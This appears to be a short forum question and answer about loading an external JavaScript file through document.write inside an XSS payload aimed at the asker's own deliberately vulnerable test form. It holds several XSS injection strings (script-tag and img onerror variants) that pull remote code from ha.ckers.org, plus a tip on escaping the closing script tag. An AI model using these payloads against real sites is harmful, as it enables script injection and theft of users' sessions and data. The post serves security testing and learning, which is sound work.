How do i load an external .js script using this syntax?:
<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>.
For all those wondering, i setup a test form i made purposely vulnerable but i couldn't get this to launch and yes i know :
<script src=//ha.ckers.org/xss.js></script>
Could easily work but i'm just trying to figure out how i could do it using document.write.
Thanks to anyone who is able to help me.
//Edit
Why doesn't this work?
<img src=x onerror=document.write('<script src="http://ha.ckers.org/xss.js"><\/script>')>
</script>tag:<\/script>- otherwise the compiler will end the JS with that tag and not with the right one